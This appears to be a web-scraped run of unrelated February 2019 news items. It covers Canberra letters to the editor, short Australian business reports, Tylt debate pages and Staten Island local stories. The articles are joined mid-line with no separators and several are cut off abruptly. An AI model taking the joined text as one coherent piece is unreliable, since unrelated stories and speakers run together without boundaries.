No matter how many well-intentioned academics say that the redevelopment of south-facing West Basin can be done sensitively, the property developers of this town, and the sellers of the subject ACT land, will stuff it up. We will be left with the dross in the form of overly dense, sunless, serried ranks of poorly built flats; stealing the public domain, and ruining the national significance of the place ("2000 apartments slated for lake", January 9, p1). Leave the fine, heritage-important Parkes Way and City Hill alone (the concept of "city to the lake" has always been questionable). The City Renewal Authority should be concentrating on getting Northbourne Avenue right. On a related matter, it's time for the "archbishop's house" on the south-east corner of Parkes Way and Commonwealth Avenue to become a public facility, now that the once-mooted cathedral will never be be built there (it's in Manuka). Jack Kershaw, Kambah

Speaking as a peasant ... Jack Palmer's dismissal of concerns regarding light rail as mere protests from the peasantry (Letters, February 12) cannot stand unchallenged. We should do more than design a transport system as an adornment to but one city entrance. Light rail should actually work as a transport system. The increased residential population density along Northbourne, itself a revenue raiser for the ACT government and an offset against the high financial cost of light rail, will likely result in more vehicular congestion on that route than ever before. I hardly think a traffic jam would be regarded as a bold proclamation of our sophistication, although perhaps I'm a peasant and the beauty escapes me.

Because there is no third rail along Stage One, or sufficient rolling stock capacity at either end of that route, the inability of light rail vehicles to overtake contiguous services along Northbourne necessitates an "all stops" timetable. This is a step backwards from existing bus services in my opinion, although perhaps I am too much of a peasant to see the beauty. If the high population density business model required for Stage One were replicated along other routes, our bush capital's beloved town centre arrangements would be forever swept away, although perhaps I'm just a peasant who fails to see any beauty in that. If Mr Palmer is himself a satirist then what a beauty! Matt Watts, Belconnen

Premise flawed Jack Palmer's letter (Letters, February 12) which said that Northbourne Avenue as an avenue of trees plus tram "proclaims our contemporary status in a sophisticated manner" gave me a laugh, especially when his next paragraph talks about "the protests of the peasantry". Anyone who disagrees with him is a peasant. He is right when he says that it is regrettable that many cities pulled up their tram tracks in the 1960s and there are many cases where newly built light rail systems work extremely well. The key point is that, where a light rail system is implemented after proper studies have been done which show that it is the best option, then it is likely to work.

We got ours because Kate Gallagher needed Green support to form government in 2012. That is about the worst possible reason for spending a billion dollars. Stan Marks, Hawker Loss of trees 'mockery' Plans to remove 30 majestic heritage-listed trees around Downer square, along Melba and Bradfield streets make a mockery of heritage protection, and community consultation. This action will degrade the amenity of the suburb for 25-30 years until replacement saplings mature.

The statement that these trees are at the end of their lives is simply developer-speak for "we are going to cut them down" despite repeated feedback from community consultation that these mature trees are central to the life of the suburb. Developers should be required to compensate the ACT government for this loss of amenity. Why not charge them $1000 for each year of a tree's life? Mike Smith, Downer Nothing's changed The "dark history" of brumby management referred to by Colleen Krestensen (Letters, February 12) originated with the uncaring setting free of horses that were no longer wanted. It was cheaper than euthanasia.

These unfortunate animals provided the sport of "brumby running", which recaptured some, though in insufficient numbers. The increasing remainder were left to eventual death in the low temperature, their corpses polluting our water supply. This careless attitude necessitated a humane total cull, not only to preserve our water supply and native vegetation, but to end the slow death of these domestic animals in an inhospitable environment. Jack Palmer, Watson Franking change unfair

Superannuation in Australia changed dramatically in the early 1980s with the introduction of productivity super, followed by the superannuation guarantee arrangements. Dividend imputation was introduced in 1987, to avoid double taxation of dividends in the hands of shareholders. The resulting franking credits became fully refundable almost 20 years ago. For decades successive Australian governments have encouraged all Australians to plan and prepare for their financial security in retirement, principally through superannuation, which was preserved (could only be accessed in rare circumstances) until retirement age. Many of those Australians have now retired and their income is either partly or completely provided by their superannuation, as encouraged by successive governments. Having left the workforce, most retirees would now find it impossible to resume paid employment, so their income is extremely reliant on plans made in decades past, based on the laws of the time and active government encouragement. To change the law regarding dividend imputation would inevitably reduce the income of hundreds of thousands of retired Australians, when they are mostly unable to rearrange their affairs to make up for that loss.

That would have the same impact as retrospective legislation, which the major political parties have always avoided, for very good reasons. It is also likely such a change would mean an increase in retirees claiming the age pension, because of their reduced income. If a future Australian government feels that a full refund of franking credits is no longer desirable, that's fine. But if the law is to be changed, it should be grandfathered to protect those who have no room to move and have done absolutely nothing wrong. Fred Barnes, Watson

Not so super There have been a number of writers accusing critics of Labor's franking policy as simply being greedy. I find Peter Martin's position that cash refunds of excess imputation credit effectively means some company profits are untaxed, is a more convincing argument. However none of the many pieces on this topic seem to have addressed the situation that I and many retirees in this town would face. The Labor policy seems to treat one's superannuation account (self managed, wrap or otherwise) as completely independent of the retiree's tax affairs outside super (eg taxable Comsuper pensions).

I believe Labor's policy will mean excess imputation credits in my super wrap account will be lost to me while I continue to pay PAYG tax. This is quite contrary to Labor's credo of fairness. Bill Blair, McKellar In the public interest Chris Ansted (Letters, February 9) puts his finger on the central problem with Ken Henry's statements to the Hayne inquiry his emphasis on shareholder value.

But basing capitalism on shareholder value is not the only model. Currently and historically, capitalism has taken many forms. We need better designed institutions  laws, regulations, enforcement regimes and norms of behaviour. These are what determine how capitalism works in our jurisdiction and in others. We need stronger emphasis on the public interest generally  on the interests of customers, suppliers, contractors, employees and the environment, not just on owners and executives. For example, we could legislate for panels of public interest trustees monitoring each large firm. We could have public interest audits to supplement the financial ones. We could appoint non-voting directors to report on public interest matters. Or we could establish a large Corporate Ombudsman's Office, of broad remit, and fund it through a small corporate tax levy. No doubt there are other possible ways of reforming our laws and nudging business behaviours in a positive direction. Combining a better form of capitalism with appropriate social safety nets and a strong public sector could give us a pluralist economy that delivered for all  not just the greedy.

Kevin Bryant, Aranda Ways to help In response to Col Whittaker (Letters, February 12), who suggests that the "greedy" banks should pass some of their profit to their customers who are badly affected by drought and floods, I wonder how many of those customers are also shareholders in those banks and thereby receiving dividends out of the profits the banks make. Aid or dividends? Not necessarily mutually exclusive, but I'm not so sure that the many millions of bank shareholders  while sympathetic to the plight of drought and/or flood-affected farmers  would be willing to sacrifice their dividends which, for many, make up a significant proportion of their retirement income.

Don Sephton, Greenway Prophetic words With respect to the current debate on the banking sector in Australia, my cousin Walter E. Spradbery, a well-known poster artist and pacifist, wrote in his biography: "Lessons have gone unlearnt, greed, fraudulence, ineptitude and corruption is as relevant as ever in the world of banking, presenting a state of distrust and despair like never before; this brought on inevitably by the invention and introduction of every conceivable device and contraption to allow humans every chance of temptation, dishonesty, deception and corruption." He wrote this nearly 90 years ago. Philip Spradbery, Yarralumla

Government disgrace There should be a special place in hell for politicians who oppose a bill designed to take the politics out of transferring sick refugees from Manus and Nauru. Morrison's suggestion that it would provide a green light for a new invasion of boat people is equivalent to Trump's suggestion that building a wall would stop the flow of drugs and terrorists into the US. The biggest danger to our national security is the desperate, climate change-denying, government. Mike Quirk, Garran

TO THE POINT SHORTEN'S ELECTION GIFT The government's "historic defeat" is not humiliating, rather it is manna from heaven. Shorten has handed the Coalition an electoral gift. Owen Reid, Dunlop PM IS ALL AT SEA

Scomo's prayer: "Find me a boat! Please." Howard Styles, Kingston FOOLISH SCARE TACTICS Nobody was fooled by Morrison impersonating Trump's scare tactics. Bill Gillespie, Wamboin, NSW

WOUNDED IN BATTLE Losing a Lower House vote 75 to 74 on the first sitting day. It's only a flesh wound. (With apologies to Monty Python.) John Howarth, Weston, ACT WELCOMING THE BOATS

Who's to say the government, while shouting it's 'strong on border security message', hasn't reduced the number of patrols at sea in the hope of a pre-election boat arrival? Jeff Bradley, Isaacs VICTIMS OF TECHNOLOGY The onslaught of automation is illustrated by the NAB's now well advanced, pre-royal commission, plan to sack 6000 staff and replace them with 2000 technology recruits. Rod Matthews, Fairfield, Vic

PETROL PUMP BOYCOTT If a large majority of ACT motorists boycotted Coles petrol outlets how long would their "highest prices" continue? Marion O'Hara, Chisholm CAMPUS COFFEE BREAK Will the new ANU Cultural Centre have a cafe/coffee shop open on the weekends? The campus is a lovely place to walk through on a weekend and a cafe would enhance the pleasure.

Rod Holesgrove, O'Connor FOSTER IS A STATESMAN How about Craig Foster for Prime Minister. What a great speech he just gave [on Tuesday] about real Australian values. What a contrast with the right-wing scare-mongering about refugees. John Walker, Bonny Hills, NSW NO MEANS NO AT WODEN

It was refreshing to see the ACT Planning and Land Authority has refused a developer's attempted second bite of the cherry ("Bid to upsize Woden project rejected", February 12, p.6). Congratulations to the Woden Valley Community Council and ACTPLA. Richard Johnston, Kingston MONEY FOR NOTHING Some people pay no tax and want more from the public purse. In contrast, age pensioners are taxed 50 per cent on dividends and 50 per cent on imputation refunds by Centrelink once their income exceeds $175 a fortnight. Conscience does not seem to exist. John Simsons, HoltSince Western naturalists first encountered the cassowary, the elusive but deadly bird has been shrouded in mysteries.

Chief among them: the purpose of the cassowarys large, rudder-like crest, known as a "casque".

The distinctive crest of the cassowary - an iconic species of north Queensland - has long puzzled scientists. Credit:Alamy

Over nearly 200 years, theories abounded. Some believed it was part of a formidable arsenal, which includes the birds lethal, dagger-like claw. Some claimed the casque was a tool of seduction, a spade for foraging, or a helmet for crashing through the underbrush.

Others believed it was used to amplify the birds low frequency boom calls.Proposed federal government laws aimed at clarifying the rights of casual employees have sparked a fresh debate about whether the legislation could hand employers greater freedom to classify workers as casuals.

The federal government on Wednesday introduced proposed amendments to the Fair Work Act to parliament. The bill would provide casual employees with a right to request permanent employment and includes a clause stating that a worker can be treated as a casual employee if "designated" as such by their employer.

Minister for Jobs, Industrial Relations and Women Kelly O'Dwyer Credit:Alex Ellinghausen

The proposed changes would formalise a decision of the Fair Work Commission last year giving casual employees the right to request full-time or part-time employment.

Labour law professor Shae McCrystal, of the University of Sydney, said the wording of the legislation could cause a fresh problem though as the current laws required a much broader test of who could be classified as a casual.Bill and Melinda Gates are pushing back against a new wave of criticism about whether billionaire philanthropy is a force for good.

The couple, whose foundation has the largest endowment in the world, say they are not fazed by recent blowback against wealthy giving. It's come in high-profile moments at the World Economic Forum, the shifting political conversation about taxes and socialism in the US, and best-selling book "Winners Take All," which calls the influence of high-dollar giving an "elite charade."

Melinda and Bill Gates. Credit:AP

"I'm not sure that the attack has been on philanthropy. I think the attack has been on wealth," Melinda Gates said in an interview with The Associated Press last month.

Some critics have long challenged the couple's nonprofit work, which relies on the tax-exempt fortune they hand to the Bill and Melinda Gates Foundation and involves directing how grant money is spent on issues ranging from global health and development to US education and poverty issues.The fallout from a massive data breach at valuation company LandMark White has deepened with National Australia Bank suspending its use of the firm.

The Sydney Morning Herald and The Age revealed on Tuesday that up to 100,000 customers had personal information including property valuations, phone numbers and dates of birth leaked as part of the data breach at LandMark White.

LandMark White is working with clients over its data breach

On Thursday a NAB spokesperson confirmed the bank would join Commonwealth Bank and Australia and New Zealand Banking Group in suspending its use of the valuer.

"The safety and security of customer information is paramount," the spokesperson said.At Apple, former top lawyer Gene Daniel Levoff was responsible for making sure employees didn't violate insider-trading laws. It turns out he was the one who was buying and selling shares illegally, according to the US authorities.

The illegal investments led to about $US227,000 ($320,000) in profits, while allowing him to avoid $US377,000 of losses, according to the US attorney's office in Newark, New Jersey. Credit:AP

Levoff, who until last year was Apple's senior director of corporate law, traded on advance knowledge of revenue-and-earnings figures multiple times dating back to 2011, the Securities and Exchange Commission and federal prosecutors said Wednesday. The illegal investments led to about $US227,000 ($320,000) in profits, while allowing him to avoid $US377,000 of losses, according to the US attorney's office in Newark, New Jersey, which filed criminal charges against Levoff.

For instance, in July 2015, Levoff learned that Apple wouldn't meet analysts' third-quarter forecast for iPhone sales, the SEC said in a related civil complaint. That month, he sold about about $US10 million of Apple stock -- virtually all of his holdings -- to avoid losing about $US345,000, the SEC said.

Levoff and an attorney representing didn't immediately respond to a request for comment.Electronics giant Huawei has attempted to pressure some of Australia's biggest companies, including Telstra, over their support for a defence policy think tank that has been critical of Chinese telecommunications providers.

A Huawei Australia executive emailed letters to the Australian Strategic Policy Institute's high-profile sponsors Google, Telstra and Thales on Wednesday afternoon criticising the think tank's approach as "anti-China" and warning their support of the organisation might reflect poorly on them.

The institute was launched by the government in 2001 and in the past 12 months its analysts have published several articles and reports critical of Huawei and, to a lesser extent, technology company ZTE. The government last year banned both companies from any involvement in building the nation's 5G network.

Huawei Technologies Australia director of corporate and public affairs Jeremy Mitchell on Wednesday wrote to local representatives at Google, Telstra and defence contractor Thales, as they have commercial relationships with the Chinese equipment provider.It has taken Virgin Australia 10 years to reinvent itself as a full service premium airline  and one that makes a respectable profit.

On the eve of the departure of the architect of Virgins long remaking, John Borghetti, the airline has finally shown the makings of a company that can deliver a solid and hopefully sustainable return.

In the six months to December 2018 it demonstrated it can balance capacity, which has grown 3 per cent inside the Virgin domestic brand, and fares, which have risen across its domestic services in what can only be described as a fairly rational market.

Happy at last: At the end of his tenure, Virgin Australia CEO John Borghetti delivers a big profit jump. Credit:Louise Kennerley

This allowed Virgin to manage the headwinds of higher fuel costs and foreign exchange challenges and produce its strongest-ever revenue.Embattled retirement village operator Aveo Group is assessing several bids for a company buyout as it reported a $44.7 million half-year loss.

The company, which is also an aged care provider, has been buffeted by falling property prices affecting its own portfolio and the homes of its prospective customers.

Settlements are taking longer to occur as incoming residents are experiencing increased difficulty in selling their homes, Aveo chief executive Geoff Grady said.

Aveo's settlements have slowed as buyers struggle to sell their homes.

Australias real estate slump has seen steep falls in Sydney and Melbourne dwelling prices as banks tighten the screws on investors, raise standard variable interest rates and ramp up scrutiny of borrowers applications.What's Included

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A subscription to our digital content is so much more than just access to our valuable content. It means youre helping to support a local community institution that has, from its very start, supported the betterment of our society. Thank you very much!One major U.S. company is presenting employees with a choice: turn in five earned PTO days and get money toward your student loans in exchange. Some employees wouldn't give up their vacation days for anything, even if it means paying down student loans. But there is an outstanding $1.5 trillion in student loans, and millennials take less time off than previous generations. Some are jumping at the chance to give up unused PTO for loan assistance. What do you think?

PERSPECTIVES

Unum Group, a major insurance company, recognizes that student debt is crippling its incoming workforce. In 2017, Inc. reported that 63 percent of millennials owe at least $10,000 in student loans, and this came at a time when student loan debt in the U.S. totaled at $1.2 trillion (it's $1.5 trillion today). In an effort to alleviate current and future employee's financial burden, Unumoffered employees:

Student loans can significantly impact one's ability to build wealth after college. According to a study from Student Loan Hero, "the average net worth of a millennial with student loans is only 25 percent of the net worth for a fellow millennial without them." Five vacation days for the year is a small price to pay if it means the painful process of paying off debt can end sooner.

Plus, millennials are already taking fewer vacation days than previous generations. According to Forbes' Larry Alton:

Although Alton recommends millennials take more vacation days, behavior doesn't change overnight. For many millennials in the workplace, it's an easy decision. Financial concerns continue to be one of the major causes of stress in the U.S., and for some, debt assistance will do far more for their mental health than a week off of work.

Unum employees get at least 28 days PTO according to the article. That's much better than typical in the US, even after cashing in 5 days.  Ben Pedersen (@Benamery21) February 7, 2019

There's a reason millennials are taking fewer vacation days: they're afraid to ask. A reputation for laziness and entitlement preceded millennials in the workplace, and they've become the "burnout generation" as a result. Stress, exhaustion, and the constant need to prove one's self are the reasons why millennials don't take time off, and this type of pace can't last.

As Buzzfeed'sAnne Helen Petersen puts it:

Importantly, she adds:

On top of the extreme let-down of finding that your degree, which you were told you needed to get a good job and to build wealth, is not enough to pay off your student loans, you're asked to give up your earned vacation time in exchange for a few additional dollars towards your goal. Not only is Unum giving employees an unfair offer, but it will contribute towards the burnout that already plagues an entire generation.

Companies can and should assist employees with student debt whenever possible, but offering such assistance in exchange for paid time off is a cruel ultimatum. Plus, the money put toward employees' loans is negligible when compared to five full days off work.

Bloomberg's Rebecca Greenfield reports:

One employee has $22,000 in debt and tells Greenfield he plans to cash in his vacation days every year:

No company should strive to create this type of working environment, where employees feel they must sacrifice something in order to gain something else-particularly when both sacrifice and gain have such a large impact on mental health.

So, then hell take even less time off because he cant afford to. To knock his debt from 22k to 21k? Seems like a recipe for burnout.  Thirsty Pete (@thirstypete) February 6, 2019

The Tylt is focused on debates and conversations around news, current events and pop culture. We provide our community with the opportunity to share their opinions and vote on topics that matter most to them. We actively engage the community and present meaningful data on the debates and conversations as they progress. The Tylt is a place where your opinion counts, literally. The Tylt is an Advance Local Media, LLC property. Join us on Twitter @TheTylt, on Instagram @TheTylt or on Facebook, we'd love to hear what you have to say.Lawmakers have narrowly avoided another government shutdown, coming together on a compromise mere days before the deadline. While Democrats are happy with the deal--which provides the president with a small fraction of the border wall funding he had been pushing for--many are wondering why government shutdowns have become such an omnipresent threat. Several pieces of legislation have been proposed to make shutdowns obsolete. But many lawmakers want the threat to negotiate with. What do you think?

PERSPECTIVES

According to The Week, most countries do not have budgets so intimately ruled by political debate and partisanship. In other countries, not passing a budget leads to swift and decisive consequences.

For decades, members of Congress have proposed a solution to the threat of government shutdowns--automatic continuing resolutions. According to Slate:

While the solution to the threat of shutdowns is relatively simple, no such legislation has ever been passed. According to The Atlantic, some worry an automatic continuing resolution would lead lawmakers to rest on their laurels and refuse to pass any permanent budget on principle.

Tom Davis, a former Republican representative, proposed legislation that would instate automatic continuing resolutions during his time in office. But according to the Washington Post, nothing was ever passed because lawmakers have little to no incentive to do away with shutdowns.

The Tylt is focused on debates and conversations around news, current events and pop culture. We provide our community with the opportunity to share their opinions and vote on topics that matter most to them. We actively engage the community and present meaningful data on the debates and conversations as they progress. The Tylt is a place where your opinion counts, literally. The Tylt is an Advance Local Media, LLC property. Join us on Twitter @TheTylt, on Instagram @TheTylt or on Facebook, we'd love to hear what you have to say.STATEN ISLAND, N.Y. -- Rep. Max Rose said hes forgiven Rep. Ilhan Omar for comments she made that were viewed as anti-Semitic, believes her apology and went as far as to call her a friend."

Omar, a Democratic representative from Minnesota, posted several tweets on Feb. 10 implying that money motivated Israels allies in American politics including one that read Its all about the Benjamins baby, referring to $100 bills.

Shes a friend, I take her at her word ....we share values, she wants to see a great country and I look forward to working with her, Rose said

NEW: @MaxRose4NY says its time to move on from Rep. Omars latest comment on Israel & money. (He was one of the first to call her out)



He also said GOP cant be chickenshit when it comes to anti-Semitism either pic.twitter.com/7UII4toPGK  Bo Erickson (@BoKnowsNews) February 11, 2019

Rose said party affiliation doesnt matter in instances like this and was the first representative to condemn Omars comment.

On Feb. 10, Rose called Rep. Omars statements deeply hurtful to Jews, including myself.

At a time when anti-Semitic attacks are on the rise, our leaders should not be invoking hurtful stereotypes and caricatures of Jewish people to dismiss those who support Israel, Rose tweeted.

He went on to say, In the Democratic Party  and in the United States of America  we celebrate the diversity of our people, and the Gods we pray to, as a strength. The Congresswomans statements do not live up to that cherished ideal.

Congresswoman Omars statements are deeply hurtful to Jews, including myself. pic.twitter.com/u3f2JHESFA  Max Rose (@MaxRose4NY) February 11, 2019

A day later, Omar thanked Rose for stopping by her office to talk.

I appreciated your call to do better as a friend and ally and appreciate your courage in calling out the double standard in Congress, Omars tweet read.

If I believe someone has said something hurtful to the Jewish community, then I dont care if theyre a Democrat or Republican, Im going to call them out on it. But as the only Jewish elected official on the Island, I cant simply issue a press release and consider my job done. If someone doesnt understand why their words or actions are intolerant, Im going to work with them, so that not only do they understand but they will educate others as well. That is the only way we will end anti-Semitism, Rose said.

Omar apologized, saying, Anti-Semitism is real and I am grateful for Jewish allies and colleagues who are educating me on the painful history on anti-Semitic tropes. My intention is never to offend any constituents or Jewish Americas as a whole.

We have to always be willing to step back and think through criticism, just as I expect people to hear me when others attack me for my identity. This is why I unequivocally apologize, she said.

MALLIOTAKIS, TRUMP SLAM OMAR

Yesterday morning, Rep. Max Rose condemned Rep. Omars anti-Semitic remarks but by the end of the day he was back at putting his party loyalties ahead of doing whats right calling the ultra liberal Omar his 'friend with whom he shares values. I wonder what values those are, Staten Island Assemblywoman Nicole Malliotakis said in a tweet.

Yesterday morning, @RepMaxRose condemned @IlhanMNs anti-Semitic remarks but by the end of the day he was back at putting his party loyalties ahead of doing whats right calling the ultra liberal Omar his friend with whom he shares values. I wonder what values those are.(1/2) https://t.co/00SL9PN0iR  Nicole Malliotakis (@NMalliotakis) February 12, 2019

Malliotakis continued, ...Equally as disturbing, Rep. Omar will be fundraising next week with an individual who promoted social media posts calling the Jewish people stinking and for them to be destroyed. Cant wait to hear Doublespeak Rose trying to justify his friends action.

...Equally as disturbing, @IlhanMN will be fundraising next week with an individual who promoted social media posts calling the Jewish people stinking and for them to be destroyed. Cant wait to hear Doublespeak @RepMaxRose trying to justify his friends action. (2/2) https://t.co/00SL9PN0iR  Nicole Malliotakis (@NMalliotakis) February 12, 2019

You cant take Rep. Omars apology seriously when she is appearing with known anti-Semite Yousef Adballah, Malliotakis said.

Its as disingenuous as when Mayor de Blasio appeared at the Puerto Rican Day parade honoring terrorist Oscar Lopez Rivera. Max Rose says he shares values with Rep. Omar and the people of this district deserve to know what those values are, she said.

When asked about Malliotakis criticism, Rose said, "And I want to be very clear: If any person running for office would rather play politics then do the hard work necessary to combat anti-Semitism then I would strongly suggest they drop out of public life and take time to figure out exactly where they lost any sense of responsibility and moral character.

President Donald Trump said Omars comments were terrible and said he felt she should either resign from Congress or from her position on the House Foreign Affairs Committee.Shira Stoll, a multimedia specialist for the Advance/SILive.com, is the filmmaker behind the Where Life Leads You documentary and the Staten Island Holocaust survivor series.

STATEN ISLAND, N.Y. -- We were ordered to evacuate Ostroleka, said West Brighton resident Chaim Ben-Aron, explaining how the Nazis forced him and other residents to leave their hometown in Poland in 1939.

He crossed into the Russian town of Lomza and later into Derechin, Poland, where he lived with his mother while his four brothers and father moved into the Vilna ghetto in Lithuania.

When the Germans attacked Russia in Operation Barbarossa, Chaims brother, Yitzchak, thought that the Vilna ghetto was safer than Derechin, so he bribed a German to help bring Chaim and his mother to the ghetto.

This began Chaims story of surviving the terrible conditions in the Vilna ghetto and three concentration camps: Kivioli One, Kivioli Two and Stutthof.

In the Vilna ghetto, he witnessed the Nazis forcing Jews into the woods, where they dug graves. Once they were done, the Nazis shot them and buried them in the holes they dug.

When the ghetto was liquidated, Chaim was sent to Kivioli One and later Kivioli Two, where he had dig trenches to prevent the Russians from advancing on the camps. Eventually, he was able to get a job with Yitzchak, making shoes for the Germans. That saved his life, because he was able to work inside rather than outside in the cold.

In Stutthof, he described wearing paper bags as clothes.

You did not want to think about it, Chaim said. At night, I wake up and it comes in [my] memories.

I first met Chaim at Cafe Europa in 2017 where he and his youngest son, Rabbi Mark Ben-Aron, were singing Hebrew songs with other Holocaust survivors and their families. Chaim was shy and soft spoken, but his sons beautiful voice brought the words to life and encouraged everyone in the room to join in.

In October of that year, when the survivors were celebrating the holiday of Sukkot, I asked Rabbi Ben-Aron if I could interview him and his father.

They both agreed, but Rabbi Ben-Aron mentioned that Chaims memory was not what it once was. During the interview, Chaim couldnt recall some names and dates, but Rabbi Ben-Aron filled in most of the blanks.

There are so many survivors at this point that are dying off. We have deniers in the world, Rabbi Ben-Aron said. Without these stories, people are going to believe the deniers.

Chaim tells his story so that future generations will understand the impact of hate and will never let this happen again.

We invite you to watch Chaims story in the above video.STATEN ISLAND, N.Y. -- A 30-year-old man allegedly was caught with a lit joint and a loaded gun in a backpack in West Brighton.

Jaime Medina, 30, of the 200 block of Westervelt Avenue in New Brighton, was holding a lit marijuana cigarette when he was approached by police on Castleton Avenue between Broadway and North Burgher Avenue at about 7:55 p.m. on Feb. 5, according to the criminal complaint and police.

Officers allegedly found a black, 9 mm, semi-automatic Glock inside the suspects backpack. The firearm had 16 rounds of ammunition in the guns magazine, according to the complaint.

The suspect has been charged with criminal possession of a weapon and criminal possession of marijuana.

The suspect, free on $30,000 bail, is due back in Criminal Court on March 28, according to public records.

Medina pleaded guilty on July 10, 2018, to criminal possession of a controlled substance and was sentenced to a conditional discharge, according to the complaint.

An attorney for the suspect could not immediately be reached for comment.STATEN ISLAND, N.Y. -- While Fire Department officials say the investigation into the Cargo Cafe fire is ongoing, the owner of the establishment believes it was arson.

It definitely was intentional, Edward Gomez told the Advance, adding that he had no idea who would do such a thing or why. Its a malicious act toward the Cargo neighborhood and community.

Gomez says he was told by investigators they suspect the Monday morning fire to be arson.

A spokesman from the Fire Department, however, told the Advance Tuesday afternoon the investigation was ongoing and no cause had been determined.

According to Gomez, the dumpster where the blaze was thought to have started had been emptied around midnight.

The FDNY is gathering surveillance video from the area, he said, although none is available from Cargo Cafe. The old surveillance system -- with outdated cameras and an inoperable recording system -- was dismantled during the recent renovation.

Cargo had received, but not yet installed, new cameras and other surveillance equipment, Gomez said.

He is upset with dumb commentaries against him on social media regarding the Cargo blaze and fires at other restaurants under his ownership.

The restaurateur said he has never profited from any of the fires and has dedicated himself to charity efforts in the community.

Ive had the unfortunate luck of being in so many fires, he said of blazes at restaurants under his ownership . I get all these comments. All Ive ever done is try to do good for the area and to survive as a small, mom-and-pop restaurant.

Manhattan Da Noi burned twice in accidental grease fires, he said. Da Noi in Fort Wadsworth went up in smoke due to faulty HVAC equipment, Gomez said.STATEN ISLAND, N.Y. -- A bill giving access to New York City and the U.S. Army Corps of Engineers to Miller Field for the construction of the East Shore seawall passed the Senate and will now move to the House for a vote.

U.S. Senator Charles Schumer (D-New York) called on the Senate to pass the bill on Feb. 10 from Franklin D. Roosevelt Boardwalk in South Beach alongside Borough President James Oddo, Assemblyman Michael Cusick (D-Mid-Island) and Rep. Max Rose (D-Staten Island/South Brooklyn).

Schumer called the bill, which passed Tuesday and is a part of a larger bipartisan federal lands package, the last step to getting the seawall built.

This easement was a final puzzle piece and now it is falling right into place, Schumer said.

For the seawall to be built, the U.S. Army Corps of Engineers needs access to Miller Field, which can only be granted by the National Park Service (NPS). The city also needs access to Miller Field for maintenance of the land.

I am pleased to report that after a long back-and-forth, we have torn down the wall of federal bureaucracy and now we can officially build the seawall Staten Island needs for protection against the devastating flood we saw during Superstorm Sandy, he said.

The bill will now go to the House floor for vote, where Schumer said hes confident it will pass.

REP. ROSE: THIS SEAWALL NEEDS TO BE BUILT

The Natural Resources Management that passed the Senate included Rep. Max Roses inaugural legislation granting the easement.

Rep. Max Rose reintroduced legislation -- originally crafted by Schumer and former Congressman Dan Donovan -- to enhance the authority of the Interior Secretary within the Gateway National Recreation Area to grant easements and rights-of-way for projects like the seawall that prevent flooding and shoreline erosion.

After the bill passed the Senate, Rose spoke with Danny Smith, acting director of the National Park Service, to ensure there will be no more red tape and the federal government will be able to begin construction as soon as the bill passes the House.

Whether its by law or by administrative action, this seawall needs to be built  and Im not going to stop pushing this until families in my district have the peace of mind that theyll be protected from future storms and rising flood insurance costs, Rose said.

The seawall will stretch from Fort Wadsworth to Oakwood Beach and includes a buried seawall with a raised promenade through a portion of Miller Field.

FUNDING SECURED LAST YEAR

Schumer secured $730 million in funding last year for the Army Corps. It was transferred into the then-recently passed federal budget deal for storm mitigation projects.

The transfer of federal funding better positioned the Army Corps to fulfill its mandated 65 percent of construction for storm mitigation projects.

Along with the seawall, the Army Corps also plans to build a flood wall and levee, replacing one that was built in 2000 in Oakwood Beach.STATEN ISLAND, N.Y. -- As the howling sound of bagpipers echoed toward the entrance, friends, relatives and scores of NYPD officials joined together at St. Christophers R.C. Church in Grant City to remember fallen Police Officer Matthew Dziergowski, who made the ultimate sacrifice 20 years ago.

Police Department members clad in blue dress uniforms -- including Assistant Chief Kenneth Corey, the borough commander, and Chief of Patrol Rodney Harrison -- lined the outside of the church and presented the color guard as Dziergowskis family proceeded inside for the service.

One by one, the officers marched inside the church behind them.

Their presence fulfilled a vow made to widow Maria Dziergowski, when her husband was killed on Feb. 14, 1999.

Today we reaffirmed the promise that we made to Maria 20 years ago, that we will never forget Matty and the sacrifice he made," said Corey. He was a great man -- not just a great police officer. He was a husband, father, son, brother, neighbor and friend. He lived a life of service to his fellow man. The true measure of a man is not his final selfless act, but living an honorable life that enabled him to put the lives of others before his own."

Priests spoke about how it seemed like the tragedy had just struck yesterday, that the feeling of mourning remained after such a long time.

The turnout here, it shows how remarkable he was, how everyone still remembers him and 20 years later," said Maria Dziergowski. I figured by 20 years, I would just be sitting here with my sons celebrating a mass.

Also in attendance was District Attorney Michael E. McMahon and Assistant Chief Edward Delatorre, current Transit Bureau chief and former NYPD borough commander.

Dziergowski, a police officer at the 123rd Precinct, was killed when a driver crashed into his car while he was diverting traffic away from an accident that he responded to on the West Shore Expressway.

11 NYPD officer memorialized this morning, 20 years since his death

Police said that Dziergowski shouted a warning that saved the other officers lives before the impact.

The car hit his patrol car and got ran off the road before it hit the other officers and everyone remembers that, his wife told the Advance.

The driver of a Dodge Durango, Ciardi Franklin, of Perth Amboy, N.J., failed to yield to the signal flares and smashed into the officers cars at nearly 80 mph, police said at the time.

Prosecutors dismissed vehicular manslaughter and driving-while-intoxicated charges against Franklin, when toxicology tests found no traces of alcohol or drugs in his system.

Franklin was convicted in the year 2000 for criminally negligent homicide. He was released on parole in 2002.

Matthew not only left behind a pregnant wife, but an 8-year-old son.

The 16-year NYPD veteran had been a hero to others in the past. He saved a woman who was being held hostage at gunpoint by her boyfriend when Dziergowski talked the man into putting the gun down.

Another time he helped a teenager deliver a baby in a Brooklyn apartment when the ambulance couldnt get there in time.

In 2004, the intersection of Otis Avenue and Clawson Street, New Dorp, was renamed in Dziergowskis honor.

Every year, loved ones and former colleagues gather to honor the fallen hero, who was remembered by his wife as being kind, funny and a loving father.STATEN ISLAND, N.Y. -- If all goes well with construction, Campania will fire up its coal-and-gas oven in Dongan Hills come fall. This will be New York Citys fourth such Italian restaurant known for its pleasantly charred pizza roasted with house-made mozzarella, freshly grated cheese and toppings sliced to order.

The new eatery will be located at 1801 Hylan Blvd., a 100-foot deep building that is former home to a pet store. (Tastebuds and its vegan/health-minded, help-yourself-buffet next door is not going anywhere.)

Owner Joe LaRocca said Campanias future home alongside Buel Avenue will have outdoor dining, but otherwise will maintain the same format as the other Campania restaurants.

Over [in Dongan Hills] were flirting with a second-floor space for parties. Were waiting to sit down with the architect, said LaRocca.

Its going to be a combination of the Brooklyn and Staten Island stores, said LaRocca. Booths, for instance, mark the dining room in the Bay Ridge parlor, lending an Old World feeling.

The Brooklyn store opened in 2013 at 9824 4th Ave. with a mosaic-tiled floor, open kitchen with Italian marble work surfaces and a gas-and-coal oven pumped to a steady 1,000 degrees. Original recipes like tomato sauce and various pasta presentations come from Joes mother, Theresa.

